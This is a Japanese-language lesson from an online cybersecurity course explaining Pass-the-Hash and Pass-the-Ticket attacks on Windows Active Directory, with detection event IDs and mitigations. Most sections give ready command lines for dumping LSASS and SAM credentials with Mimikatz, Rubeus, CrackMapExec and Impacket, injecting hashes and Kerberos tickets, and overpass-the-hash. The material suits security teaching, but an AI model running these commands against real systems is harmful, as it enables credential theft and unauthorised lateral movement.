Cyber Security Academy · レッスン

Pass-the-HashとPass-the-Ticket攻撃

平文パスワードを知らなくても、認証情報のハッシュとKerberosチケットを使って横方向に移動します。

レッスン 2/413 ステップ

「Pass-the-HashとPass-the-Ticket攻撃」はCoddyKit上の無料Cyber Security Academyレッスンです。 これはレッスン2/4です。 下記で完全なレッスンを無料で読むことができます。その後、ブラウザ内の組み込みコードエディタと24時間対応のAIチューターでハンズオン演習できます。 これはCyber Security Academy学習パスの一部であり、ウェブとCoddyKitアプリ全体で進捗が同期されます。 Cyber Security Academyコースには全4レッスンが含まれています。

これらの攻撃が存在する理由

Windowsの認証プロトコルは、認証に必要な秘密情報(NTLMハッシュやKerberosチケット)をメモリに保存します。攻撃者はSYSTEM権限を取得すると、これらの秘密情報を抽出して再利用し、パスワードを知らずに別のユーザーとして認証できます。

MimikatzによるNTLMハッシュの抽出

Mimikatzは、Windowsで広く使われている認証情報抽出ツールです。SYSTEMまたはAdministratorとして実行すると、LSASSプロセスのメモリを読み取り、NTLMハッシュや平文の認証情報を抽出します。

# Run mimikatz as Admin:
mimikatz.exe

# Enable debug privilege
privilege::debug

# Dump LSASS credentials
sekurlsa::logonpasswords

# Dump local SAM hashes
lsadump::sam

MimikatzによるPass-the-Hash(PtH)

PtHは、平文のパスワードを知らなくても、NTLMハッシュを新しいセッションに注入します。そのハッシュによってNTLMを使用してリモートサービスに認証できるため、他のWindowsホストへのラテラルムーブメントに有効です。

# Pass-the-Hash with Mimikatz:
sekurlsa::pth /user:Administrator /domain:CORP \
  /ntlm:aad3b435b51404eeaad3b435b51404ee \
  /run:cmd.exe

# Opens cmd.exe authenticated as that user

ImpacketによるPass-the-Hash

Impacketには、PtH用のPythonツールが用意されています。psexec.py、smbexec.py、wmiexec.pyは、NTLMハッシュを直接受け取り、リモートでコマンドを実行します。

# psexec with hash (Linux → Windows)
psexec.py CORP/Administrator@192.168.1.100 \
  -hashes aad3b435...:8846f7eaee8fb117...

# wmiexec
wmiexec.py CORP/Admin@192.168.1.100 \
  -hashes :8846f7eaee8fb117ad06bdd830b7586c

Kerberosチケットの抽出

KerberosチケットもLSASSのメモリに保存されます。Mimikatzで抽出でき、RubeusはWindows上でKerberosチケットを操作するための専用ツールです。

# Mimikatz: export all tickets
sekurlsa::tickets /export

# Rubeus: list tickets
Rubeus.exe triage

# Rubeus: dump specific ticket
Rubeus.exe dump /luid:0x3e7 /service:krbtgt

Pass-the-Ticket(PtT)

PtTは、盗み出したKerberosチケットを現在のセッションに注入します。そのチケットによって、ハッシュやパスワードを使わずに、チケットの本来の所有者としてサービスに認証できます。

# Mimikatz: inject ticket
kerberos::ptt ticket.kirbi

# Rubeus: inject ticket
Rubeus.exe ptt /ticket:ticket.kirbi

# Verify injection
klist

LSASSのリモートダンプ

足がかりを確保したら、CrackMapExecまたはImpacketのsecretsdumpを使ってLSASSをリモートでダンプできます。対象で対話型セッションを確立する必要はありません。

# CrackMapExec
crackmapexec smb 192.168.1.100 -u Admin -p Password123 --sam
crackmapexec smb 192.168.1.100 -u Admin -p Password123 --lsa

# Impacket secretsdump
secretsdump.py CORP/Admin:Password123@192.168.1.100

ラテラルムーブメントの経路

ハッシュやチケットを取得した後は、ラテラルムーブメントを行います。ローカル管理者の使い回しを利用して他のマシンへPtHを実行し、ドメインサービスへのアクセスにPtTを使用し、特権アカウントを狙ってドメイン管理者へと権限を昇格させます。

PtHとPtTの検知

防御側は、次の手掛かりからPtHを検知します。イベントID 4624(ログオン)でログオンタイプが3であり、対応する対話型ログオンが存在しないこと、NTLM認証の異常、メモリ上またはディスク上にあるMimikatzの特徴です。

# Detection event IDs:
# 4624: Logon (look for type 3 = network)
# 4776: NTLM auth (watch for unexpected hosts)
# 4769: Service ticket request (Kerberos)
# 4648: Explicit credential use

緩和策

主な緩和策は、Credential Guardを有効にして仮想化によってLSASSを保護すること、LAPSを使ってマシン間でのローカル管理者アカウントの使い回しを制限すること、特権アカウントにProtected Usersグループを適用すること、可能な限りNTLMを無効化することです。

Overpass-the-Hash

Overpass-the-Hashは、NTLMハッシュをKerberos TGTに変換します。NTLMがブロックされていてKerberosが利用できる環境や、以降のKerberos攻撃にTGTが必要な場合に役立ちます。

# Mimikatz: overpass-the-hash
sekurlsa::pth /user:Admin /domain:CORP \
  /ntlm:8846f7eaee8fb117ad06bdd830b7586c \
  /run:powershell.exe

# Then in new session:
Rubeus.exe asktgt /user:Admin /rc4:8846f7ea...

クイックチェック

仮想化を使用してLSASSの認証情報ストレージを保護するWindowsのセキュリティ機能は何ですか?

まとめ:PtHとPtT

Pass-the-HashとPass-the-Ticketは、Active Directoryにおけるラテラルムーブメントの中核です。どちらも、LSASSにおけるWindowsの認証情報キャッシュを悪用します。MimikatzとImpacketによって、認証情報の抽出と再利用は容易になります。Credential Guard、LAPS、Protected Usersグループを使用し、NTLMとKerberosの認証イベントを厳格に監視して防御します。

無料で開始

AI チューターと学ぶ Cyber Security Academy — 無料

ブラウザでリアルコードを書いて実行し、24/7 の AI チューターから瞬時にサポートを受け、ウェブまたはアプリで続きから学習できます。

コース
76
レッスン
303

よくある質問

「Pass-the-HashとPass-the-Ticket攻撃」レッスンは無料ですか?

はい。「Pass-the-HashとPass-the-Ticket攻撃」の完全なテキストはこのウェブで無料で読めます。インタラクティブに演習し(組み込みコードエディタと24時間対応のAIチューター)、Cyber Security Academyコースの残りをアンロックするには、CoddyKit PROにアップグレードしてください。 Cyber Security Academyコースには全4レッスンが含まれています。

「Pass-the-HashとPass-the-Ticket攻撃」で何を学びますか?

平文パスワードを知らなくても、認証情報のハッシュとKerberosチケットを使って横方向に移動します。 ブラウザで直接実行するハンズオンコードでCyber Security Academyを演習し、24時間対応のAIチューターがレッスンを進める中での質問に答えます。

Cyber Security Academyを始めるのに経験は必要ですか?

事前経験は必要ありません。CoddyKitのCyber Security Academyは初級者から上級者向けに構成されているため、ここから始めるか最初から始めて、自分のペースで進むことができます。 これはレッスン2/4です。

「Pass-the-HashとPass-the-Ticket攻撃」レッスンにはどのくらい時間がかかりますか?

ほとんどのCoddyKitレッスンは約5~10分かかります。各レッスンはコンパクトでインタラクティブなので、着実に進歩し、ウェブとアプリ全体で正確に前回の場所から再開できます。

このCyber Security Academyレッスンでコードを書いて実行できますか?

はい。すべてのCyber Security Academyレッスンに組み込みコードエディタが含まれているため、ブラウザでリアルコードを書いて実行し、即座のAIフィードバックを取得できます。ローカル設定は不要です。

このコースのすべてのレッスン

  1. Windows認証:NTLMとKerberos
  2. Pass-the-HashとPass-the-Ticket攻撃
  3. KerberoastingとAS-REP Roasting
  4. Active Directoryの強化
← Cyber Security Academyに戻る